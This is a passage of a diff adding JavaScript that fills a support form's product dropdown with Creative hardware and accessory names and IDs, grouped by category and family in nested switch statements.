+ try { addBoxItem(document.Support_Form.Product_ID, '40x CD-Rom Drives', '1547'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '4x CD-ROM Drives', '1549'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '6x CD-ROM Drives', '1552'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '8x CD-ROM Drives', '1554'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 49 : // Portable Harddisk
+ try { addBoxItem(document.Support_Form.Product_ID, 'Storage Blaster Portable Harddisk', '8996'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 265 : // Portable Storage
+ try { addBoxItem(document.Support_Form.Product_ID, 'ThumbDrive', '10681'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 12 : // PC Barebone
+ switch(parseInt(famID)) {
+
+ case 54 : // SLiX PC
+ try { addBoxItem(document.Support_Form.Product_ID, 'SLiX PC MPC61Y0', '11766'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 11 : // Monitors
+ switch(parseInt(famID)) {
+
+ case 53 : // LCD
+ try { addBoxItem(document.Support_Form.Product_ID, '17" TFT LCD Monitor With DVI', '9980'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 60 : // Video
+ switch(parseInt(famID)) {
+
+ case 96 : // Video Editing
+ try { addBoxItem(document.Support_Form.Product_ID, 'Video Blaster MovieMaker', '13'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 13 : // Accessories
+ switch(parseInt(famID)) {
+
+ case 55 : // Sound Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, 'Optical Digital I/O Card II', '30'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster MIDI Adapter', '251'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mini to Standard MIDI Adapter', '252'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live!Drive II', '9278'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Audigy Internal Drive', '88'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Audigy External Drive', '89'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Drive IR', '26'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Drive I', '27'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Remote Controller SBLive', '1816'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 449 : // Zen Micro
+ try { addBoxItem(document.Support_Form.Product_ID, 'Universal Travel Adapter for Zen Micro', '11711'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case', '11511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 483 : // Zen Neeon
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Stik-On', '12982'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Leather Case', '12978'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Universal Travel Adapter', '12979'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 264 : // Portable Media Center
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Docking Station', '10756'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Li-ion Polymer Battery', '10679'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC FM Wired Remote', '10663'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 57 : // MP3 Players
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD JukeBox 3 Car Kit', '4894'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Home Kit - Jukebox 3', '497'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox 3 Leather Case', '498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Faceplates - Jukebox 3', '499'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Armband', '511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Accessory Kit', '533'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Charger Kit', '538'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Pack', '539'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case - Jukebox 2', '562'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery - Jukebox 2', '563'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Li-Ion Battery - Jukebox 3', '86'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FM Wired Remote - Jukebox 3/Jukebox Zen/MuVo\u00B2', '115'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Power Adapter', '125'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cassette Adapter Kit', '401'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Car Kit - Jukebox 3/Jukebox 2/Jukebox Zen/MuVo\u00B2', '496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery Modules - MuVo NX / TX / TX FM', '9217'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Armband - MuVo NX / TX / TX FM', '10126'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 58 : // Speaker Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-1100 Speaker Stands', '166'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1700', '11164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-880', '11156'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HE-100', '11023'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-500 Speaker Tripods', '399'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Speaker Extension Cables', '415'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5300 Spkr Grilles', '637'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5700 Spkr Grilles', '664'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 256 : // Wireless
+ try { addBoxItem(document.Support_Form.Product_ID, 'Wireless Headset for Bluetooth', '10287'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset CB2455', '11394'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones CB2530', '11644'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 59 : // Storage
+ try { addBoxItem(document.Support_Form.Product_ID, 'S-Video Cable Coupler', '250'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'IDE Cable Set', '255'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Dxr2 Decoder Board', '1648'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Dxr3 Decoder Card', '12'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 118 : // Digital Cameras
+ switch(parseInt(famID)) {
+
+ case 117 : // Digital Still Cameras
+ try { addBoxItem(document.Support_Form.Product_ID, 'DC-CAM 4200ZS', '10822'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DC-CAM 3200Z', '9762'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DC-CAM 3000Z', '9028'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CardCam', '120'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CardCam Value', '116'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 309 : // Digital Video Cameras
+ try { addBoxItem(document.Support_Form.Product_ID, 'DiVi CAM 316', '11175'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 10 : // Mice & Keyboards
+ switch(parseInt(famID)) {
+
+ case 223 : // Wired Mice
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse 5500', '11387'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse 3500', '11388'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Classic', '4919'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Optical Lite', '4920'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Optical 3000', '4924'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Optical Mouse', '262'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Notebook Optical', '9147'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 224 : // Wireless Mice
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint Travel', '11165'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint Travel Mini', '11166'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 5500', '11178'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 3500', '11386'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 5000', '9145'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical', '263'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 3000', '4923'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 227 : // Wireless Mice & Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 9000 Pro', '11493'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 8000', '10104'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 6000', '5039'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 228 : // Wired PC & MIDI Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM', '9389'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM Value', '9600'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys', '504'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 52 : // Gaming Devices
+ try { addBoxItem(document.Support_Form.Product_ID, 'Avant Force NX', '9394'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cobra Force 3D', '9396'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Gamepad I', '1658'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 8 : // Musical Keyboards
+ switch(parseInt(famID)) {
+
+ case 234 : // PC & MIDI Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM', '9389'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM Value', '9600'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys', '504'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 231 : // MIDI Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Blasterkeys', '40'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 237 : // Creative Professional
+ switch(parseInt(famID)) {
+
+ case 239 : // Digital Audio Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 1820M', '10496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 1212M', '10500'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 1820', '10494'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 0404', '10498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 240 : // Desktop Sampling Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Emulator X', '10502'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Emulator X Studio', '10504'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Proteus X', '11074'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 421 : // Desktop Sound Modules
+ try { addBoxItem(document.Support_Form.Product_ID, 'Proteus X', '11074'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 258 : // Accessories and Upgrades
+ try { addBoxItem(document.Support_Form.Product_ID, 'Proteus X Software Upgrade', '11073'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Emulator X OS Upgrade', '10225'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mo\'Phatt X', '11329'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Planet Earth X', '11330'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Virtuoso X', '11332'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Vintage X Pro Collection', '11072'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Street Kits', '11331'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'AudioDock M', '10229'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audio Dock', '10230'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Beat Shop 2', '10404'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'EDI Cable', '10227'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sync Daughter Card', '10576'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 243 : // Wireless
+ switch(parseInt(famID)) {
+
+ case 246 : // Mice & Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 5500', '11178'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 3500', '11386'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 5000', '9145'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 8000', '10104'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 6000', '5039'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical', '263'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 3000', '4923'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 248 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset CB2460', '11238'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset CB2455', '11394'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Wireless Headset for Bluetooth', '10287'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones CB2530', '11644'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 244 : // Notebook Products
+ switch(parseInt(famID)) {
+
+ case 250 : // PCMCIA Sound Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy 2 ZS Notebook', '10769'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 249 : // USB Sound Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy 2 NX', '9103'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! 24-bit External', '10702'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Digital Music LX', '10246'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Digital Music', '154'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Extigy', '585'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 251 : // Portable Speaker Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound 200', '10164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound i-300', '9022'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound MP3', '1874'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 252 : // Mice & Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless NoteBook Optical', '10188'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Notebook Optical', '9147'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 253 : // Web Cameras
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Ultra for Notebooks', '11491'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Notebook', '629'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Mobile', '4890'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 6 : // Graphics
+ switch(parseInt(famID)) {
+
+ case 37 : // ATI Radeon 9000 series
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RX9250', '11489'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RX9250 Xtreme', '11490'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 230 : // 3D Labs
+ try { addBoxItem(document.Support_Form.Product_ID, 'Graphics Blaster Picture Perfect', '164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 99 : // NVIDIA GeForce
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce', '1500'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce 2', '1501'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce Pro', '1505'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce2 ULTRA 64MB AGP', '1512'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 98 : // NVIDIA Riva TNT Series
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RIVA TNT2 Pro', '1527'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Graphics Blaster RIVA128ZX', '1689'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Riva TNT2', '4841'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RIVA TNT2 Value', '4842'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster TNT2 Ultra', '4843'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 73 : // 3D Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 Titanium 4200', '1516'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9700 Pro', '1524'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 MX440', '1539'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9000 64MB', '1540'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9000 Pro', '1541'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 MX420', '4869'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9800 Pro', '4917'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 MX460', '4969'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600', '4973'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9000 Pro 128MB', '8995'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9200 SE', '9024'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600 Pro', '9576'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600 XT', '10311'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
